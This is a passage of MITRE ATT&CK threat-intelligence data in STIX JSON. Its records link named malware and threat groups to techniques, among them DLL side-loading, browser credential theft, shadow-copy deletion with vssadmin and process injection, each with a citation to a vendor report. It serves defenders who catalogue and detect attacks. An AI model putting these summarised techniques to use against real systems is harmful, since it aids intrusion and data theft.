"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-18T13:19:48.388Z", "description": "[Turian](https://attack.mitre.org/software/S0647) has the ability to use a XOR decryption key to extract C2 server domains and IP addresses.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d2dfa0b-8370-4873-9b8f-4366e61be715", "type": "relationship", "created": "2021-02-22T17:11:18.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Waterbear December 2019", "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}], "modified": "2021-02-22T17:11:18.401Z", "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories.(Citation: Trend Micro Waterbear December 2019) ", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9d2fbb81-fd66-4d1b-b919-58d251a06dbe", "created": "2023-12-06T19:22:44.851Z", "revoked": false, "external_references": [{"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. 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Retrieved November 29, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside", "source_name": "Proofpoint Azorult July 2018"}], "modified": "2019-07-26T23:22:28.646Z", "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the time zone information from the system.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)", "relationship_type": "uses", "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d42a47f-ccdc-42f0-9551-11bf5e2a9616", "type": "relationship", "created": "2019-05-02T00:08:18.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "source_name": "Cylance Shaheen Nov 2018"}], "modified": "2019-06-12T19:55:21.929Z", "description": "[The White Company](https://attack.mitre.org/groups/G0089) has the ability to delete its malware entirely from the target system.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d439426-989c-4407-bbef-ac6af47896cc", "type": "relationship", "created": "2020-03-16T15:12:49.247Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-20T20:11:55.220Z", "description": "Ensure only valid password filters are registered. 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Retrieved March 14, 2022.", "url": "https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}, {"source_name": "RecordedFuture WhisperGate Jan 2022", "description": "Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved March 31, 2023.", "url": "https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-31T21:32:31.356Z", "description": "[WhisperGate](https://attack.mitre.org/software/S0689) has the ability to inject its fourth stage into a suspended process created by the legitimate Windows utility `InstallUtil.exe`.(Citation: Cisco Ukraine Wipers January 2022)(Citation: RecordedFuture WhisperGate Jan 2022)", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9d588be8-f13d-458d-9480-f39ef82197d6", "created": "2022-06-15T15:07:36.549Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used a [Mimikatz](https://attack.mitre.org/software/S0002)-based tool and a PowerShell script to steal passwords from Google Chrome.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T15:07:36.549Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d59578c-8356-4978-8765-acbf215948d4", "type": "relationship", "created": "2020-03-11T14:17:21.294Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-11T14:17:21.294Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9d62760d-5678-4ebf-9a19-aa9de5d9728c", "created": "2021-03-31T14:01:52.505Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Docker Daemon Socket Protect", "description": "Docker. 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(2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IceApple](https://attack.mitre.org/software/S1022) can use reflective code loading to load .NET assemblies into `MSExchangeOWAAppPool` on targeted Exchange servers.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-06-27T15:50:28.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9d6c5d09-94b9-4453-a26d-8b3ac79cfe7f", "type": "relationship", "created": "2021-10-13T21:34:46.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro KillDisk 2", "url": "https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html", "description": "Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. 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Retrieved April 11, 2018.", "source_name": "FireEye MuddyWater Mar 2018"}], "modified": "2019-04-22T22:36:53.187Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can upload files from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9dcec42b-174d-4b74-8aab-c5727a71c25c", "type": "relationship", "created": "2021-05-06T15:38:19.889Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. 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(2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. 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(2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.", "url": "https://securelist.com/lazarus-threatneedle/100803/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:20:11.780Z", "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) can save its configuration data as a RC4-encrypted Registry key under `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GameCon`.(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9deaa56a-7d34-4814-acc4-cf78c10bd84c", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:22:00.655Z", "description": "Monitor newly executed processes that may attempt to find local system groups and permission settings.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process creation) and Windows Security Log (Event ID 4688 - a new process has been created). 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(2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2020-03-17T02:47:31.655Z", "description": "[WinMM](https://attack.mitre.org/software/S0059) uses HTTP for C2.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9df6635a-b3ed-494c-845e-b743e494861c", "created": "2022-09-27T17:51:00.513Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. 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(2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", "source_name": "Unit 42 MuddyWater Nov 2017"}, {"description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", "source_name": "Symantec MuddyWater Dec 2018"}, {"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. 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(2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}], "modified": "2019-07-14T21:04:44.995Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running processes using the <code>tasklist /v</code> command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated processes associated with specific open ports or named pipes.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9dfb9740-1641-4306-8ee8-38318be3ae42", "type": "relationship", "created": "2021-09-07T20:58:44.422Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint Dridex Jan 2021", "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", "description": "Check Point Research. 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RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}], "modified": "2020-09-02T18:46:32.857Z", "description": "[RATANKBA](https://attack.mitre.org/software/S0241) runs the <code>net view /domain</code> and <code>net view</code> commands.(Citation: RATANKBA)", "relationship_type": "uses", "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9dffc323-ae0a-430e-b9de-e059862432a1", "type": "relationship", "created": "2020-04-28T18:12:13.458Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium KONNI Jan 2020", "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", "description": "Karmi, D. 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Retrieved June 14, 2022."}, {"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used PowerShell-based tools and scripts for discovery and collection on compromised hosts.(Citation: SecureWorks August 2019)(Citation: Kaspersky APT Trends Q1 April 2021)(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T15:08:27.134Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e0a19f8-e970-49a1-9952-ae7380247ace", "type": "relationship", "created": "2020-03-09T14:38:24.604Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-07-26T22:49:23.217Z", "description": "Prevent users from installing Python where not required.", "relationship_type": "mitigates", "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e0bef30-edc0-4a18-9033-a1f487e35b76", "type": "relationship", "created": "2021-12-29T15:08:44.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Tomiris Sep 2021", "url": "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/", "description": "Kwiatkoswki, I. and Delcher, P. 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From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-04T22:03:05.824Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) can execute PE files in the address space of the specified process.(Citation: BiZone Lizar May 2021) ", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e1742a1-ffc0-4e29-88d2-04ef30a13358", "type": "relationship", "created": "2020-11-13T18:52:28.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}], "modified": "2020-11-13T19:31:02.612Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can capture clipboard data from a compromised host.(Citation: IBM Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e193b3a-3f21-43aa-b373-6fcec59ff2c7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT HARDRAIN March 2018", "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"}], "modified": "2020-03-27T20:49:53.756Z", "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses FakeTLS to communicate with its C2 server.(Citation: US-CERT HARDRAIN March 2018)", "relationship_type": "uses", "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e1bb696-e1f0-46d3-ab91-79280323d711", "type": "relationship", "created": "2020-06-22T20:34:36.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Holmium June 2020", "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}], "modified": "2020-06-22T20:34:36.748Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has attempted to use WMI event subscriptions to establish persistence on compromised hosts.(Citation: Microsoft Holmium June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e1daa60-db2d-4671-b96f-3ebebe1977cc", "type": "relationship", "created": "2019-01-30T19:50:46.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.606Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the username from the victim\u2019s machine.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T14:56:44.484Z", "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files with certain extensions and copies them to a directory in the user's profile.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e22871c-2e16-4c81-903c-e081c140f7a2", "type": "relationship", "created": "2021-02-18T18:50:43.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}], "modified": "2021-04-13T18:02:57.517Z", "description": "[Conti](https://attack.mitre.org/software/S0575) can delete Windows Volume Shadow Copies using <code>vssadmin</code>.(Citation: CarbonBlack Conti July 2020)", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e235097-0a3a-410f-b3a1-ec50ea910d47", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "\u00dcberwachung APT28 Forfiles June 2015", "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)(Citation: \u00dcberwachung APT28 Forfiles June 2015)", "relationship_type": "uses", "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e26a79d-1982-46b8-b077-0bb6ca30cd3b", "type": "relationship", "created": "2021-09-22T21:17:32.011Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}], "modified": "2021-09-22T21:17:32.011Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) has exfiltrated data to its C2 server.(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e27b122-a10d-4f0a-8ca8-6040d8879586", "type": "relationship", "created": "2021-06-17T15:38:53.207Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-17T15:38:53.207Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has leveraged vulnerabilities in Pulse Secure VPNs to hijack sessions.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e27c930-eba5-467f-90e5-4ec5b4219735", "type": "relationship", "created": "2019-06-24T19:11:41.147Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter", "source_name": "Proofpoint TA505 Sep 2017"}], "modified": "2019-06-24T19:11:41.147Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from Internet Explorer.(Citation: Proofpoint TA505 Sep 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", 